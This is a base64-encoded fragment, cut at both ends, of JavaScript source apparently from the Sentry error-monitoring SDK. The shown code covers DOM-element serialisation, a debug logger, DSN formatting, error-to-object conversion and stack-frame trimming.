gaWYgKCFlbGVtIHx8ICFlbGVtLnRhZ05hbWUpIHsKICAgIHJldHVybiAnJzsKICB9CgogIC8vIEB0cy1leHBlY3QtZXJyb3IgV0lORE9XIGhhcyBIVE1MRWxlbWVudAogIGlmIChXSU5ET1cuSFRNTEVsZW1lbnQpIHsKICAgIC8vIElmIHVzaW5nIHRoZSBjb21wb25lbnQgbmFtZSBhbm5vdGF0aW9uIHBsdWdpbiwgdGhpcyB2YWx1ZSBtYXkgYmUgYXZhaWxhYmxlIG9uIHRoZSBET00gbm9kZQogICAgaWYgKGVsZW0gaW5zdGFuY2VvZiBIVE1MRWxlbWVudCAmJiBlbGVtLmRhdGFzZXQgJiYgZWxlbS5kYXRhc2V0WydzZW50cnlDb21wb25lbnQnXSkgewogICAgICByZXR1cm4gZWxlbS5kYXRhc2V0WydzZW50cnlDb21wb25lbnQnXTsKICAgIH0KICB9CgogIG91dC5wdXNoKGVsZW0udGFnTmFtZS50b0xvd2VyQ2FzZSgpKTsKCiAgLy8gUGFpcnMgb2YgYXR0cmlidXRlIGtleXMgZGVmaW5lZCBpbiBgc2VyaWFsaXplQXR0cmlidXRlYCBhbmQgdGhlaXIgdmFsdWVzIG9uIGVsZW1lbnQuCiAgY29uc3Qga2V5QXR0clBhaXJzID0KICAgIGtleUF0dHJzICYmIGtleUF0dHJzLmxlbmd0aAogICAgICA/IGtleUF0dHJzLmZpbHRlcihrZXlBdHRyID0+IGVsZW0uZ2V0QXR0cmlidXRlKGtleUF0dHIpKS5tYXAoa2V5QXR0ciA9PiBba2V5QXR0ciwgZWxlbS5nZXRBdHRyaWJ1dGUoa2V5QXR0cildKQogICAgICA6IG51bGw7CgogIGlmIChrZXlBdHRyUGFpcnMgJiYga2V5QXR0clBhaXJzLmxlbmd0aCkgewogICAga2V5QXR0clBhaXJzLmZvckVhY2goa2V5QXR0clBhaXIgPT4gewogICAgICBvdXQucHVzaChgWyR7a2V5QXR0clBhaXJbMF19PSIke2tleUF0dHJQYWlyWzFdfSJdYCk7CiAgICB9KTsKICB9IGVsc2UgewogICAgaWYgKGVsZW0uaWQpIHsKICAgICAgb3V0LnB1c2goYCMke2VsZW0uaWR9YCk7CiAgICB9CgogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIHByZWZlci1jb25zdAogICAgY2xhc3NOYW1lID0gZWxlbS5jbGFzc05hbWU7CiAgICBpZiAoY2xhc3NOYW1lICYmIGlzU3RyaW5nKGNsYXNzTmFtZSkpIHsKICAgICAgY2xhc3NlcyA9IGNsYXNzTmFtZS5zcGxpdCgvXHMrLyk7CiAgICAgIGZvciAoaSA9IDA7IGkgPCBjbGFzc2VzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgb3V0LnB1c2goYC4ke2NsYXNzZXNbaV19YCk7CiAgICAgIH0KICAgIH0KICB9CiAgY29uc3QgYWxsb3dlZEF0dHJzID0gWydhcmlhLWxhYmVsJywgJ3R5cGUnLCAnbmFtZScsICd0aXRsZScsICdhbHQnXTsKICBmb3IgKGkgPSAwOyBpIDwgYWxsb3dlZEF0dHJzLmxlbmd0aDsgaSsrKSB7CiAgICBrZXkgPSBhbGxvd2VkQXR0cnNbaV07CiAgICBhdHRyID0gZWxlbS5nZXRBdHRyaWJ1dGUoa2V5KTsKICAgIGlmIChhdHRyKSB7CiAgICAgIG91dC5wdXNoKGBbJHtrZXl9PSIke2F0dHJ9Il1gKTsKICAgIH0KICB9CiAgcmV0dXJuIG91dC5qb2luKCcnKTsKfQoKLyoqCiAqIFRoaXMgc2VydmVzIGFzIGEgYnVpbGQgdGltZSBmbGFnIHRoYXQgd2lsbCBiZSB0cnVlIGJ5IGRlZmF1bHQsIGJ1dCBmYWxzZSBpbiBub24tZGVidWcgYnVpbGRzIG9yIGlmIHVzZXJzIHJlcGxhY2UgYF9fU0VOVFJZX0RFQlVHX19gIGluIHRoZWlyIGdlbmVyYXRlZCBjb2RlLgogKgogKiBBVFRFTlRJT046IFRoaXMgY29uc3RhbnQgbXVzdCBuZXZlciBjcm9zcyBwYWNrYWdlIGJvdW5kYXJpZXMgKGkuZS4gYmUgZXhwb3J0ZWQpIHRvIGd1YXJhbnRlZSB0aGF0IGl0IGNhbiBiZSB1c2VkIGZvciB0cmVlIHNoYWtpbmcuCiAqLwpjb25zdCBERUJVR19CVUlMRCQxID0gKHR5cGVvZiBfX1NFTlRSWV9ERUJVR19fID09PSAndW5kZWZpbmVkJyB8fCBfX1NFTlRSWV9ERUJVR19fKTsKCi8qKiBQcmVmaXggZm9yIGxvZ2dpbmcgc3RyaW5ncyAqLwpjb25zdCBQUkVGSVggPSAnU2VudHJ5IExvZ2dlciAnOwoKY29uc3QgQ09OU09MRV9MRVZFTFMgPSBbCiAgJ2RlYnVnJywKICAnaW5mbycsCiAgJ3dhcm4nLAogICdlcnJvcicsCiAgJ2xvZycsCiAgJ2Fzc2VydCcsCiAgJ3RyYWNlJywKXSA7CgovKiogVGhpcyBtYXkgYmUgbXV0YXRlZCBieSB0aGUgY29uc29sZSBpbnN0cnVtZW50YXRpb24uICovCmNvbnN0IG9yaWdpbmFsQ29uc29sZU1ldGhvZHMKCiA9IHt9OwoKLyoqIEpTRG9jICovCgovKioKICogVGVtcG9yYXJpbHkgZGlzYWJsZSBzZW50cnkgY29uc29sZSBpbnN0cnVtZW50YXRpb25zLgogKgogKiBAcGFyYW0gY2FsbGJhY2sgVGhlIGZ1bmN0aW9uIHRvIHJ1biBhZ2FpbnN0IHRoZSBvcmlnaW5hbCBgY29uc29sZWAgbWVzc2FnZXMKICogQHJldHVybnMgVGhlIHJlc3VsdHMgb2YgdGhlIGNhbGxiYWNrCiAqLwpmdW5jdGlvbiBjb25zb2xlU2FuZGJveChjYWxsYmFjaykgewogIGlmICghKCdjb25zb2xlJyBpbiBHTE9CQUxfT0JKKSkgewogICAgcmV0dXJuIGNhbGxiYWNrKCk7CiAgfQoKICBjb25zdCBjb25zb2xlID0gR0xPQkFMX09CSi5jb25zb2xlIDsKICBjb25zdCB3cmFwcGVkRnVuY3MgPSB7fTsKCiAgY29uc3Qgd3JhcHBlZExldmVscyA9IE9iamVjdC5rZXlzKG9yaWdpbmFsQ29uc29sZU1ldGhvZHMpIDsKCiAgLy8gUmVzdG9yZSBhbGwgd3JhcHBlZCBjb25zb2xlIG1ldGhvZHMKICB3cmFwcGVkTGV2ZWxzLmZvckVhY2gobGV2ZWwgPT4gewogICAgY29uc3Qgb3JpZ2luYWxDb25zb2xlTWV0aG9kID0gb3JpZ2luYWxDb25zb2xlTWV0aG9kc1tsZXZlbF0gOwogICAgd3JhcHBlZEZ1bmNzW2xldmVsXSA9IGNvbnNvbGVbbGV2ZWxdIDsKICAgIGNvbnNvbGVbbGV2ZWxdID0gb3JpZ2luYWxDb25zb2xlTWV0aG9kOwogIH0pOwoKICB0cnkgewogICAgcmV0dXJuIGNhbGxiYWNrKCk7CiAgfSBmaW5hbGx5IHsKICAgIC8vIFJldmVydCByZXN0b3JhdGlvbiB0byB3cmFwcGVkIHN0YXRlCiAgICB3cmFwcGVkTGV2ZWxzLmZvckVhY2gobGV2ZWwgPT4gewogICAgICBjb25zb2xlW2xldmVsXSA9IHdyYXBwZWRGdW5jc1tsZXZlbF0gOwogICAgfSk7CiAgfQp9CgpmdW5jdGlvbiBtYWtlTG9nZ2VyKCkgewogIGxldCBlbmFibGVkID0gZmFsc2U7CiAgY29uc3QgbG9nZ2VyID0gewogICAgZW5hYmxlOiAoKSA9PiB7CiAgICAgIGVuYWJsZWQgPSB0cnVlOwogICAgfSwKICAgIGRpc2FibGU6ICgpID0+IHsKICAgICAgZW5hYmxlZCA9IGZhbHNlOwogICAgfSwKICAgIGlzRW5hYmxlZDogKCkgPT4gZW5hYmxlZCwKICB9OwoKICBpZiAoREVCVUdfQlVJTEQkMSkgewogICAgQ09OU09MRV9MRVZFTFMuZm9yRWFjaChuYW1lID0+IHsKICAgICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIEB0eXBlc2NyaXB0LWVzbGludC9uby1leHBsaWNpdC1hbnkKICAgICAgbG9nZ2VyW25hbWVdID0gKC4uLmFyZ3MpID0+IHsKICAgICAgICBpZiAoZW5hYmxlZCkgewogICAgICAgICAgY29uc29sZVNhbmRib3goKCkgPT4gewogICAgICAgICAgICBHTE9CQUxfT0JKLmNvbnNvbGVbbmFtZV0oYCR7UFJFRklYfVske25hbWV9XTpgLCAuLi5hcmdzKTsKICAgICAgICAgIH0pOwogICAgICAgIH0KICAgICAgfTsKICAgIH0pOwogIH0gZWxzZSB7CiAgICBDT05TT0xFX0xFVkVMUy5mb3JFYWNoKG5hbWUgPT4gewogICAgICBsb2dnZXJbbmFtZV0gPSAoKSA9PiB1bmRlZmluZWQ7CiAgICB9KTsKICB9CgogIHJldHVybiBsb2dnZXIgOwp9Cgpjb25zdCBsb2dnZXIgPSBtYWtlTG9nZ2VyKCk7CgovKioKICogUmVuZGVycyB0aGUgc3RyaW5nIHJlcHJlc2VudGF0aW9uIG9mIHRoaXMgRHNuLgogKgogKiBCeSBkZWZhdWx0LCB0aGlzIHdpbGwgcmVuZGVyIHRoZSBwdWJsaWMgcmVwcmVzZW50YXRpb24gd2l0aG91dCB0aGUgcGFzc3dvcmQKICogY29tcG9uZW50LiBUbyBnZXQgdGhlIGRlcHJlY2F0ZWQgcHJpdmF0ZSByZXByZXNlbnRhdGlvbiwgc2V0IGB3aXRoUGFzc3dvcmRgCiAqIHRvIHRydWUuCiAqCiAqIEBwYXJhbSB3aXRoUGFzc3dvcmQgV2hlbiBzZXQgdG8gdHJ1ZSwgdGhlIHBhc3N3b3JkIHdpbGwgYmUgaW5jbHVkZWQuCiAqLwpmdW5jdGlvbiBkc25Ub1N0cmluZyhkc24sIHdpdGhQYXNzd29yZCA9IGZhbHNlKSB7CiAgY29uc3QgeyBob3N0LCBwYXRoLCBwYXNzLCBwb3J0LCBwcm9qZWN0SWQsIHByb3RvY29sLCBwdWJsaWNLZXkgfSA9IGRzbjsKICByZXR1cm4gKAogICAgYCR7cHJvdG9jb2x9Oi8vJHtwdWJsaWNLZXl9JHt3aXRoUGFzc3dvcmQgJiYgcGFzcyA/IGA6JHtwYXNzfWAgOiAnJ31gICsKICAgIGBAJHtob3N0fSR7cG9ydCA/IGA6JHtwb3J0fWAgOiAnJ30vJHtwYXRoID8gYCR7cGF0aH0vYCA6IHBhdGh9JHtwcm9qZWN0SWR9YAogICk7Cn0KCi8qKiBBbiBlcnJvciBlbWl0dGVkIGJ5IFNlbnRyeSBTREtzIGFuZCByZWxhdGVkIHV0aWxpdGllcy4gKi8KY2xhc3MgU2VudHJ5RXJyb3IgZXh0ZW5kcyBFcnJvciB7CiAgLyoqIERpc3BsYXkgbmFtZSBvZiB0aGlzIGVycm9yIGluc3RhbmNlLiAqLwoKICAgY29uc3RydWN0b3IoIG1lc3NhZ2UsIGxvZ0xldmVsID0gJ3dhcm4nKSB7CiAgICBzdXBlcihtZXNzYWdlKTt0aGlzLm1lc3NhZ2UgPSBtZXNzYWdlOwogICAgdGhpcy5uYW1lID0gbmV3LnRhcmdldC5wcm90b3R5cGUuY29uc3RydWN0b3IubmFtZTsKICAgIC8vIFRoaXMgc2V0cyB0aGUgcHJvdG90eXBlIHRvIGJlIGBFcnJvcmAsIG5vdCBgU2VudHJ5RXJyb3JgLiBJdCdzIHVuY2xlYXIgd2h5IHdlIGRvIHRoaXMsIGJ1dCBjb21tZW50aW5nIHRoaXMgbGluZQogICAgLy8gb3V0IGNhdXNlcyB2YXJpb3VzIChzZWVtaW5nbHkgdG90YWxseSB1bnJlbGF0ZWQpIHBsYXl3cmlnaHQgdGVzdHMgY29uc2lzdGVudGx5IHRpbWUgb3V0LiBGWUksIHRoaXMgbWFrZXMKICAgIC8vIGluc3RhbmNlcyBvZiBgU2VudHJ5RXJyb3JgIGZhaWwgYG9iaiBpbnN0YW5jZW9mIFNlbnRyeUVycm9yYCBjaGVja3MuCiAgICBPYmplY3Quc2V0UHJvdG90eXBlT2YodGhpcywgbmV3LnRhcmdldC5wcm90b3R5cGUpOwogICAgdGhpcy5sb2dMZXZlbCA9IGxvZ0xldmVsOwogIH0KfQoKLyoqCiAqIEVuY29kZXMgZ2l2ZW4gb2JqZWN0IGludG8gdXJsLWZyaWVuZGx5IGZvcm1hdAogKgogKiBAcGFyYW0gb2JqZWN0IEFuIG9iamVjdCB0aGF0IGNvbnRhaW5zIHNlcmlhbGl6YWJsZSB2YWx1ZXMKICogQHJldHVybnMgc3RyaW5nIEVuY29kZWQKICovCmZ1bmN0aW9uIHVybEVuY29kZShvYmplY3QpIHsKICByZXR1cm4gT2JqZWN0LmtleXMob2JqZWN0KQogICAgLm1hcChrZXkgPT4gYCR7ZW5jb2RlVVJJQ29tcG9uZW50KGtleSl9PSR7ZW5jb2RlVVJJQ29tcG9uZW50KG9iamVjdFtrZXldKX1gKQogICAgLmpvaW4oJyYnKTsKfQoKLyoqCiAqIFRyYW5zZm9ybXMgYW55IGBFcnJvcmAgb3IgYEV2ZW50YCBpbnRvIGEgcGxhaW4gb2JqZWN0IHdpdGggYWxsIG9mIHRoZWlyIGVudW1lcmFibGUgcHJvcGVydGllcywgYW5kIHNvbWUgb2YgdGhlaXIKICogbm9uLWVudW1lcmFibGUgcHJvcGVydGllcyBhdHRhY2hlZC4KICoKICogQHBhcmFtIHZhbHVlIEluaXRpYWwgc291cmNlIHRoYXQgd2UgaGF2ZSB0byB0cmFuc2Zvcm0gaW4gb3JkZXIgZm9yIGl0IHRvIGJlIHVzYWJsZSBieSB0aGUgc2VyaWFsaXplcgogKiBAcmV0dXJucyBBbiBFdmVudCBvciBFcnJvciB0dXJuZWQgaW50byBhbiBvYmplY3QgLSBvciB0aGUgdmFsdWUgYXJndXJtZW50IGl0c2VsZiwgd2hlbiB2YWx1ZSBpcyBuZWl0aGVyIGFuIEV2ZW50IG5vcgogKiAgYW4gRXJyb3IuCiAqLwpmdW5jdGlvbiBjb252ZXJ0VG9QbGFpbk9iamVjdCgKICB2YWx1ZSwKKQoKIHsKICBpZiAoaXNFcnJvcih2YWx1ZSkpIHsKICAgIHJldHVybiB7CiAgICAgIG1lc3NhZ2U6IHZhbHVlLm1lc3NhZ2UsCiAgICAgIG5hbWU6IHZhbHVlLm5hbWUsCiAgICAgIHN0YWNrOiB2YWx1ZS5zdGFjaywKICAgICAgLi4uZ2V0T3duUHJvcGVydGllcyh2YWx1ZSksCiAgICB9OwogIH0gZWxzZSBpZiAoaXNFdmVudCh2YWx1ZSkpIHsKICAgIGNvbnN0IG5ld09iagoKID0gewogICAgICB0eXBlOiB2YWx1ZS50eXBlLAogICAgICB0YXJnZXQ6IHNlcmlhbGl6ZUV2ZW50VGFyZ2V0KHZhbHVlLnRhcmdldCksCiAgICAgIGN1cnJlbnRUYXJnZXQ6IHNlcmlhbGl6ZUV2ZW50VGFyZ2V0KHZhbHVlLmN1cnJlbnRUYXJnZXQpLAogICAgICAuLi5nZXRPd25Qcm9wZXJ0aWVzKHZhbHVlKSwKICAgIH07CgogICAgaWYgKHR5cGVvZiBDdXN0b21FdmVudCAhPT0gJ3VuZGVmaW5lZCcgJiYgaXNJbnN0YW5jZU9mKHZhbHVlLCBDdXN0b21FdmVudCkpIHsKICAgICAgbmV3T2JqLmRldGFpbCA9IHZhbHVlLmRldGFpbDsKICAgIH0KCiAgICByZXR1cm4gbmV3T2JqOwogIH0gZWxzZSB7CiAgICByZXR1cm4gdmFsdWU7CiAgfQp9CgovKiogQ3JlYXRlcyBhIHN0cmluZyByZXByZXNlbnRhdGlvbiBvZiB0aGUgdGFyZ2V0IG9mIGFuIGBFdmVudGAgb2JqZWN0ICovCmZ1bmN0aW9uIHNlcmlhbGl6ZUV2ZW50VGFyZ2V0KHRhcmdldCkgewogIHRyeSB7CiAgICByZXR1cm4gaXNFbGVtZW50KHRhcmdldCkgPyBodG1sVHJlZUFzU3RyaW5nKHRhcmdldCkgOiBPYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLmNhbGwodGFyZ2V0KTsKICB9IGNhdGNoIChfb08pIHsKICAgIHJldHVybiAnPHVua25vd24+JzsKICB9Cn0KCi8qKiBGaWx0ZXJzIG91dCBhbGwgYnV0IGFuIG9iamVjdCdzIG93biBwcm9wZXJ0aWVzICovCmZ1bmN0aW9uIGdldE93blByb3BlcnRpZXMob2JqKSB7CiAgaWYgKHR5cGVvZiBvYmogPT09ICdvYmplY3QnICYmIG9iaiAhPT0gbnVsbCkgewogICAgY29uc3QgZXh0cmFjdGVkUHJvcHMgPSB7fTsKICAgIGZvciAoY29uc3QgcHJvcGVydHkgaW4gb2JqKSB7CiAgICAgIGlmIChPYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5LmNhbGwob2JqLCBwcm9wZXJ0eSkpIHsKICAgICAgICBleHRyYWN0ZWRQcm9wc1twcm9wZXJ0eV0gPSAob2JqIClbcHJvcGVydHldOwogICAgICB9CiAgICB9CiAgICByZXR1cm4gZXh0cmFjdGVkUHJvcHM7CiAgfSBlbHNlIHsKICAgIHJldHVybiB7fTsKICB9Cn0KCi8qKgogKiBHaXZlbiBhbnkgb2JqZWN0LCByZXR1cm4gYSBuZXcgb2JqZWN0IGhhdmluZyByZW1vdmVkIGFsbCBmaWVsZHMgd2hvc2UgdmFsdWUgd2FzIGB1bmRlZmluZWRgLgogKiBXb3JrcyByZWN1cnNpdmVseSBvbiBvYmplY3RzIGFuZCBhcnJheXMuCiAqCiAqIEF0dGVudGlvbjogVGhpcyBmdW5jdGlvbiBrZWVwcyBjaXJjdWxhciByZWZlcmVuY2VzIGluIHRoZSByZXR1cm5lZCBvYmplY3QuCiAqLwpmdW5jdGlvbiBkcm9wVW5kZWZpbmVkS2V5cyhpbnB1dFZhbHVlKSB7CiAgLy8gVGhpcyBtYXAga2VlcHMgdHJhY2sgb2Ygd2hhdCBhbHJlYWR5IHZpc2l0ZWQgbm9kZXMgbWFwIHRvLgogIC8vIE91ciBTZXQgLSBiYXNlZCBtZW1vQnVpbGRlciBkb2Vzbid0IHdvcmsgaGVyZSBiZWNhdXNlIHdlIHdhbnQgdG8gdGhlIG91dHB1dCBvYmplY3QgdG8gaGF2ZSB0aGUgc2FtZSBjaXJjdWxhcgogIC8vIHJlZmVyZW5jZXMgYXMgdGhlIGlucHV0IG9iamVjdC4KICBjb25zdCBtZW1vaXphdGlvbk1hcCA9IG5ldyBNYXAoKTsKCiAgLy8gVGhpcyBmdW5jdGlvbiBqdXN0IHByb3hpZXMgYF9kcm9wVW5kZWZpbmVkS2V5c2AgdG8ga2VlcCB0aGUgYG1lbW9CdWlsZGVyYCBvdXQgb2YgdGhpcyBmdW5jdGlvbidzIEFQSQogIHJldHVybiBfZHJvcFVuZGVmaW5lZEtleXMoaW5wdXRWYWx1ZSwgbWVtb2l6YXRpb25NYXApOwp9CgpmdW5jdGlvbiBfZHJvcFVuZGVmaW5lZEtleXMoaW5wdXRWYWx1ZSwgbWVtb2l6YXRpb25NYXApIHsKICBpZiAoaXNQb2pvKGlucHV0VmFsdWUpKSB7CiAgICAvLyBJZiB0aGlzIG5vZGUgaGFzIGFscmVhZHkgYmVlbiB2aXNpdGVkIGR1ZSB0byBhIGNpcmN1bGFyIHJlZmVyZW5jZSwgcmV0dXJuIHRoZSBvYmplY3QgaXQgd2FzIG1hcHBlZCB0byBpbiB0aGUgbmV3IG9iamVjdAogICAgY29uc3QgbWVtb1ZhbCA9IG1lbW9pemF0aW9uTWFwLmdldChpbnB1dFZhbHVlKTsKICAgIGlmIChtZW1vVmFsICE9PSB1bmRlZmluZWQpIHsKICAgICAgcmV0dXJuIG1lbW9WYWwgOwogICAgfQoKICAgIGNvbnN0IHJldHVyblZhbHVlID0ge307CiAgICAvLyBTdG9yZSB0aGUgbWFwcGluZyBvZiB0aGlzIHZhbHVlIGluIGNhc2Ugd2UgdmlzaXQgaXQgYWdhaW4sIGluIGNhc2Ugb2YgY2lyY3VsYXIgZGF0YQogICAgbWVtb2l6YXRpb25NYXAuc2V0KGlucHV0VmFsdWUsIHJldHVyblZhbHVlKTsKCiAgICBmb3IgKGNvbnN0IGtleSBvZiBPYmplY3Qua2V5cyhpbnB1dFZhbHVlKSkgewogICAgICBpZiAodHlwZW9mIGlucHV0VmFsdWVba2V5XSAhPT0gJ3VuZGVmaW5lZCcpIHsKICAgICAgICByZXR1cm5WYWx1ZVtrZXldID0gX2Ryb3BVbmRlZmluZWRLZXlzKGlucHV0VmFsdWVba2V5XSwgbWVtb2l6YXRpb25NYXApOwogICAgICB9CiAgICB9CgogICAgcmV0dXJuIHJldHVyblZhbHVlIDsKICB9CgogIGlmIChBcnJheS5pc0FycmF5KGlucHV0VmFsdWUpKSB7CiAgICAvLyBJZiB0aGlzIG5vZGUgaGFzIGFscmVhZHkgYmVlbiB2aXNpdGVkIGR1ZSB0byBhIGNpcmN1bGFyIHJlZmVyZW5jZSwgcmV0dXJuIHRoZSBhcnJheSBpdCB3YXMgbWFwcGVkIHRvIGluIHRoZSBuZXcgb2JqZWN0CiAgICBjb25zdCBtZW1vVmFsID0gbWVtb2l6YXRpb25NYXAuZ2V0KGlucHV0VmFsdWUpOwogICAgaWYgKG1lbW9WYWwgIT09IHVuZGVmaW5lZCkgewogICAgICByZXR1cm4gbWVtb1ZhbCA7CiAgICB9CgogICAgY29uc3QgcmV0dXJuVmFsdWUgPSBbXTsKICAgIC8vIFN0b3JlIHRoZSBtYXBwaW5nIG9mIHRoaXMgdmFsdWUgaW4gY2FzZSB3ZSB2aXNpdCBpdCBhZ2FpbiwgaW4gY2FzZSBvZiBjaXJjdWxhciBkYXRhCiAgICBtZW1vaXphdGlvbk1hcC5zZXQoaW5wdXRWYWx1ZSwgcmV0dXJuVmFsdWUpOwoKICAgIGlucHV0VmFsdWUuZm9yRWFjaCgoaXRlbSkgPT4gewogICAgICByZXR1cm5WYWx1ZS5wdXNoKF9kcm9wVW5kZWZpbmVkS2V5cyhpdGVtLCBtZW1vaXphdGlvbk1hcCkpOwogICAgfSk7CgogICAgcmV0dXJuIHJldHVyblZhbHVlIDsKICB9CgogIHJldHVybiBpbnB1dFZhbHVlOwp9CgpmdW5jdGlvbiBpc1Bvam8oaW5wdXQpIHsKICBpZiAoIWlzUGxhaW5PYmplY3QoaW5wdXQpKSB7CiAgICByZXR1cm4gZmFsc2U7CiAgfQoKICB0cnkgewogICAgY29uc3QgbmFtZSA9IChPYmplY3QuZ2V0UHJvdG90eXBlT2YoaW5wdXQpICkuY29uc3RydWN0b3IubmFtZTsKICAgIHJldHVybiAhbmFtZSB8fCBuYW1lID09PSAnT2JqZWN0JzsKICB9IGNhdGNoIChlKSB7CiAgICByZXR1cm4gdHJ1ZTsKICB9Cn0KCi8qKgogKiBEb2VzIHRoaXMgZmlsZW5hbWUgbG9vayBsaWtlIGl0J3MgcGFydCBvZiB0aGUgYXBwIGNvZGU/CiAqLwpmdW5jdGlvbiBmaWxlbmFtZUlzSW5BcHAoZmlsZW5hbWUsIGlzTmF0aXZlID0gZmFsc2UpIHsKICBjb25zdCBpc0ludGVybmFsID0KICAgIGlzTmF0aXZlIHx8CiAgICAoZmlsZW5hbWUgJiYKICAgICAgLy8gSXQncyBub3QgaW50ZXJuYWwgaWYgaXQncyBhbiBhYnNvbHV0ZSBsaW51eCBwYXRoCiAgICAgICFmaWxlbmFtZS5zdGFydHNXaXRoKCcvJykgJiYKICAgICAgLy8gSXQncyBub3QgaW50ZXJuYWwgaWYgaXQncyBhbiBhYnNvbHV0ZSB3aW5kb3dzIHBhdGgKICAgICAgIWZpbGVuYW1lLm1hdGNoKC9eW0EtWl06LykgJiYKICAgICAgLy8gSXQncyBub3QgaW50ZXJuYWwgaWYgdGhlIHBhdGggaXMgc3RhcnRpbmcgd2l0aCBhIGRvdAogICAgICAhZmlsZW5hbWUuc3RhcnRzV2l0aCgnLicpICYmCiAgICAgIC8vIEl0J3Mgbm90IGludGVybmFsIGlmIHRoZSBmcmFtZSBoYXMgYSBwcm90b2NvbC4gSW4gbm9kZSwgdGhpcyBpcyB1c3VhbGx5IHRoZSBjYXNlIGlmIHRoZSBmaWxlIGdvdCBwcmUtcHJvY2Vzc2VkIHdpdGggYSBidW5kbGVyIGxpa2Ugd2VicGFjawogICAgICAhZmlsZW5hbWUubWF0Y2goL15bYS16QS1aXShbYS16QS1aMC05LlwtK10pKjpcL1wvLykpOyAvLyBTY2hlbWEgZnJvbTogaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9hLzM2NDE3ODIKCiAgLy8gaW5fYXBwIGlzIGFsbCB0aGF0J3Mgbm90IGFuIGludGVybmFsIE5vZGUgZnVuY3Rpb24gb3IgYSBtb2R1bGUgd2l0aGluIG5vZGVfbW9kdWxlcwogIC8vIG5vdGUgdGhhdCBpc05hdGl2ZSBhcHBlYXJzIHRvIHJldHVybiB0cnVlIGV2ZW4gZm9yIG5vZGUgY29yZSBsaWJyYXJpZXMKICAvLyBzZWUgaHR0cHM6Ly9naXRodWIuY29tL2dldHNlbnRyeS9yYXZlbi1ub2RlL2lzc3Vlcy8xNzYKCiAgcmV0dXJuICFpc0ludGVybmFsICYmIGZpbGVuYW1lICE9PSB1bmRlZmluZWQgJiYgIWZpbGVuYW1lLmluY2x1ZGVzKCdub2RlX21vZHVsZXMvJyk7Cn0KCmNvbnN0IFNUQUNLVFJBQ0VfRlJBTUVfTElNSVQgPSA1MDsKY29uc3QgU1RSSVBfRlJBTUVfUkVHRVhQID0gL2NhcHR1cmVNZXNzYWdlfGNhcHR1cmVFeGNlcHRpb24vOwoKLyoqCiAqIFJlbW92ZXMgU2VudHJ5IGZyYW1lcyBmcm9tIHRoZSB0b3AgYW5kIGJvdHRvbSBvZiB0aGUgc3RhY2sgaWYgcHJlc2VudCBhbmQgZW5mb3JjZXMgYSBsaW1pdCBvZiBtYXggbnVtYmVyIG9mIGZyYW1lcy4KICogQXNzdW1lcyBzdGFjayBpbnB1dCBpcyBvcmRlcmVkIGZyb20gdG9wIHRvIGJvdHRvbSBhbmQgcmV0dXJucyB0aGUgcmV2ZXJzZSByZXByZXNlbnRhdGlvbiBzbyBjYWxsIHNpdGUgb2YgdGhlCiAqIGZ1bmN0aW9uIHRoYXQgY2F1c2VkIHRoZSBjcmFzaCBpcyB0aGUgbGFzdCBmcmFtZSBpbiB0aGUgYXJyYXkuCiAqIEBoaWRkZW4KICovCmZ1bmN0aW9uIHN0cmlwU2VudHJ5RnJhbWVzQW5kUmV2ZXJzZShzdGFjaykgewogIGlmICghc3RhY2subGVuZ3RoKSB7CiAgICByZXR1cm4gW107CiAgfQoKICBjb25zdCBsb2NhbFN0YWNrID0gQXJyYXkuZnJvbShzdGFjayk7CgogIC8vIElmIHN0YWNrIHN0YXJ0cyB3aXRoIG9uZSBvZiBvdXIgQVBJIGNhbGxzLCByZW1vdmUgaXQgKHN0YXJ0cywgbWVhbmluZyBpdCdzIHRoZSB0b3Agb2YgdGhlIHN0YWNrIC0gYWthIGxhc3QgY2FsbCkKICBpZiAoL3NlbnRyeVdyYXBwZWQvLnRlc3QobG9jYWxTdGFja1tsb2NhbFN0YWNrLmxlbmd0aCAtIDFdLmZ1bmN0aW9uIHx8ICcnKSkgewogICAgbG9jYWxTdGFjay5wb3AoKTsKICB9CgogIC8vIFJldmVyc2luZyBpbiB0aGUgbWlkZGxlIG9mIHRoZSBwcm9jZWR1cmUgYWxsb3dzIHVzIHRvIGp1c3QgcG9wIHRoZSB2YWx1ZXMgb2ZmIHRoZSBzdGFjawogIGxvY2FsU3RhY2sucmV2ZXJzZSgpOwoKICAvLyBJZiBzdGFjayBlbmRzIHdpdGggb25lIG9mIG91ciBpbnRlcm5hbCBBUEkgY2FsbHMsIHJlbW92ZSBpdCAoZW5kcywgbWVhbmluZyBpdCdzIHRoZSBib3R0b20gb2YgdGhlIHN0YWNrIC0gYWthIHRvcC1tb3N0IGNhbGwpCiAgaWYgKFNUUklQX0ZSQU1FX1JFR0VYUC50ZXN0KGxvY2FsU3RhY2tbbG9jYWxTdGFjay5sZW5ndGggLSAxXS5mdW5jdGlvbiB8fCAnJykpIHsKICAgIGxvY2FsU3RhY2sucG9wKCk7CgogICAgLy8gV2hlbiB1c2luZyBzeW50aGV0aWMgZXZlbnRzLCB3ZSB3aWxsIGhhdmUgYSAyIGxldmVscyBkZWVwIHN0YWNrLCBhcyBgbmV3IEVycm9yKCdTZW50cnkgc3ludGhldGljRXhjZXB0aW9uJylgCiAgICAvLyBpcyBwcm9kdWNlZCB3aXRoaW4gdGhlIGh1YiBpdHNlbGYsIG1ha2luZyBpdDoKICAgIC8vCiAgICAvLyAgIFNlbnRyeS5jYXB0dXJlRXhjZXB0aW9uKCkKICAgIC8vICAgZ2V0Q3VycmVudEh1YigpLmNhcHR1cmVFeGNlcHRpb24oKQogICAgLy8KICAgIC8vIGluc3RlYWQgb2YganVzdCB0aGUgdG9wIGBTZW50cnlgIGNhbGwgaXRzZWxmLgogICAgLy8gVGhpcyBmb3JjZXMgdXMgdG8gcG9zc2libHkgc3RyaXAgYW4gYWRkaXRpb25hbCBmcmFtZSBpbiB0aGUgZXhhY3Qgc2FtZSB3YXMgYXMgYWJvdmUuCiAgICBpZiAoU1RSSVBfRlJBTUVfUkVHRVhQLnRlc3QobG9jYWxTdGFja1tsb2NhbFN0YWNrLmxlbmd0aCAtIDFdLmZ1bmN0aW9uIHx8ICcnKSkgewogICAgICBsb2NhbFN0YWNrLnBvcCgpOwogICAgfQogIH0KCiAgcmV0dXJuIGxvY2FsU3RhY2suc2xpY2UoMCwgU1RBQ0tUUkFDRV9GUkFNRV9MSU1JVCkubWFwKGZyYW1lID0+IC